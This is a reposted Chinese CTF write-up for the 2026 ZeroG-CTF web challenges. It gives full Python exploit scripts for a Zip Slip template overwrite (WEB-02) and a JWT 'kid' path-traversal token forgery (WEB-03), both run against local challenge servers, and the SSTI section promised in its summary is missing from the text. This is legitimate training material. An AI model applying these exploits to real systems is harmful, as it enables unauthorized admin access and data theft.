文章总结: 本文为2026ZeroG-CTFWEB赛题官方Write-up,详细解析三道WEB题目解题思路。WEB-01通过Jinja2SSTI漏洞读取Flask配置密钥,伪造管理员Session获取flag;WEB-02利用ZipSlip路径穿越漏洞覆盖模板文件,通过主题包上传实现远程代码执行;WEB-03涉及JWT安全机制,通过kid参数操控密钥读取路径实现签名绕过。文档提供完整攻击代码和分步操作指南,涵盖SSTI、文件上传绕过、路径穿越等常见WEB漏洞实战技巧。 综合评分: 85 文章分类: CTF,WEB安全,漏洞分析,实战经验,安全工具
很明显存在 Zip Slip 路径穿越漏洞
照片墙模板 <font style="color:rgb(13, 13, 13);">gallery.html</font> 中有这样一段:
{% for photo in photos %}
{% include "theme/card.html" %}
{% endfor %}
说明只要覆盖 templates/theme/card.html ,然后访问/gallery就能触发我们写入的 Jinja2 模板
我们开始构造恶意 card.html
因为应用中将动态 flag 放入了 Flask config:
app.config["ZEROG_FLAG"] = FLAG
所以模板中可以直接读取这个:
{{ config['ZEROG_FLAG'] }}
恶意模板内容如下:
<div class="photo-card">
<h2>ZeroG Theme Loaded</h2>
<p>{{ config['ZEROG_FLAG'] }}</p>
</div>
构造恶意 ZIP关键点是 ZIP 内文件名必须是<font style="color:rgb(13, 13, 13);">../../templates/theme/card.html</font>
我们生成恶意 zip
import zipfile
payload = """<div class="photo-card">
<h2>ZeroG Theme Loaded</h2>
<p>{{ config['ZEROG_FLAG'] }}</p>
</div>
"""
with zipfile.ZipFile("evil_theme.zip", "w", zipfile.ZIP_DEFLATED) as z:
z.writestr("../../templates/theme/card.html", payload)
上传 zip 后访问照片墙<font style="color:rgb(13, 13, 13);">/gallery</font>,就会得到 flag
完整利用 EXP
#!/usr/bin/env python3
# -*- coding: utf-8 -*-
import io
import re
import zipfile
import requests
BASE_URL = "http://127.0.0.1:5000"
def build_payload_zip():
"""
构造 Zip Slip 主题包
ZIP 内部文件名:
../../templates/theme/card.html
覆盖:
/app/templates/theme/card.html
"""
payload_template = """<div class="photo-card">
<h2>ZeroG Theme Loaded</h2>
<p id="flag">{{ config['ZEROG_FLAG'] }}</p>
</div>
"""
bio = io.BytesIO()
with zipfile.ZipFile(bio, "w", zipfile.ZIP_DEFLATED) as zf:
zf.writestr("../../templates/theme/card.html", payload_template)
bio.seek(0)
return bio
def upload_theme(zip_file):
files = {
"theme": ("evil_theme.zip", zip_file, "application/zip")
}
r = requests.post(
BASE_URL + "/theme/upload",
files=files,
allow_redirects=True,
timeout=10
)
print("[+] upload status:", r.status_code)
return r.text
def get_flag():
r = requests.get(BASE_URL + "/gallery", timeout=10)
text = r.text
m = re.search(r"flag\{[^}]+\}", text)
if not m:
print(text)
raise RuntimeError("flag not found in /gallery response")
return m.group(0)
def main():
print("[*] Building malicious theme zip...")
z = build_payload_zip()
print("[*] Uploading theme package...")
upload_theme(z)
print("[*] Visiting /gallery...")
flag = get_flag()
print("[+] FLAG:", flag)
if __name__ == "__main__":
main()
WEB-03
访问/api/docs
返回如图(这里 FeHelper 插件会自动美化 json)
JWT header 里的 <font style="color:rgb(13, 13, 13);">kid</font> 可能参与验签密钥选择
解码 JWT Header,观察 kid用 Python 解码
import base64
import json
token = "xxxxxxxxN1最帅嘻嘻嘻"
header_b64 = token.split(".")[0]
header_b64 += "=" * (-len(header_b64) % 4)
header = json.loads(base64.urlsafe_b64decode(header_b64))
print(json.dumps(header, indent=2))
发现使用算法HS256header 中有kid = "user.key"
我们开始审计源码,这个地方发现 kid 漏洞
在app.py有
def read_key_by_kid(kid: str) -> bytes:
key_path = KEY_DIR / kid
if not key_path.exists() or not key_path.is_file():
raise FileNotFoundError("key not found")
return key_path.read_bytes()
验证 Token 的时候:
def verify_token(token: str) -> dict:
header = jwt.get_unverified_header(token)
kid = header.get("kid", DEFAULT_KID)
key = read_key_by_kid(kid)
payload = jwt.decode(
token,
key,
algorithms=[JWT_ALG],
options={
"require": ["exp", "iat"],
},
)
可以看到服务器完全相信客户端传来的 kid,然后直接 KEY_DIR/kid 拼路径,没有过滤../存在目录穿越
也就是说,只要我在header把 kid 改成../static/mission.txt
服务端就会去读
/app/keys/../static/mission.txt => /app/static/mission.txt
访问/static/mission.txt接口
返回ZeroG-Orbit-API-Public-Calibration-Key
里注意行末有换行
ctrl + s下来很容易就能看到
真正的 key 是
b"ZeroG-Orbit-API-Public-Calibration-Key\n"(这里稳妥点的话可以用request.get(...).content,会自动保留\n)
这时候我们就可以来伪造管理员的 JWT 了
伪造一个 payload:
{
"username": "admin",
"role": "admin",
"iat": 当前时间,
"exp": 当前时间 + 3600
}
header 设置为:
{
"alg": "HS256",
"typ": "JWT",
"kid": "../static/mission.txt"
}
然后用刚刚拿到的mission.txt内容做 HMAC 密钥签名
:
#!/usr/bin/env python3
# -*- coding: utf-8 -*-
import time
import requests
import jwt
BASE_URL = "http://127.0.0.1:5000"
def get_public_key_material():
r = requests.get(BASE_URL + "/static/mission.txt", timeout=10)
r.raise_for_status()
return r.content # 保留末尾换行
def forge_admin_token(key_material: bytes) -> str:
now = int(time.time())
payload = {
"username": "admin",
"role": "admin",
"iat": now,
"exp": now + 3600,
}
headers = {
"typ": "JWT",
"alg": "HS256",
"kid": "../static/mission.txt",
}
token = jwt.encode(
payload,
key_material,
algorithm="HS256",
headers=headers,
)
return token
def get_flag(token: str):
r = requests.get(
BASE_URL + "/api/admin/flag",
headers={
"Authorization": f"Bearer {token}"
},
timeout=10,
)
print("[+] status:", r.status_code)
print("[+] response:", r.text)
r.raise_for_status()
return r.json()["flag"]
def main():
print("[*] Fetching public mission file...")
key_material = get_public_key_material()
print("[+] key material:", repr(key_material))
print("[*] Forging admin JWT...")
token = forge_admin_token(key_material)
print("[+] token:", token)
print("[*] Requesting admin flag...")
flag = get_flag(token)
print("[+] FLAG:", flag)
if __name__ == "__main__":
main()
输出(动态 flag 哦)
免责声明:
本文所载程序、技术方法仅面向合法合规的安全研究与教学场景,旨在提升网络安全防护能力,具有明确的技术研究属性。
任何单位或个人未经授权,将本文内容用于攻击、破坏等非法用途的,由此引发的全部法律责任、民事赔偿及连带责任,均由行为人独立承担,本站不承担任何连带责任。
本站内容均为技术交流与知识分享目的发布,若存在版权侵权或其他异议,请通过邮件联系处理,具体联系方式可点击页面上方的联系我。
本文转载自:Breaking-code 平平无奇 n1 平平无奇 n1《2026 ZeroG-CTF WEB 官方 Write-up》
版权声明
本站仅做备份收录,仅供研究与教学参考之用。
读者将信息用于其他用途的,全部法律及连带责任由读者自行承担,本站不承担任何责任。










评论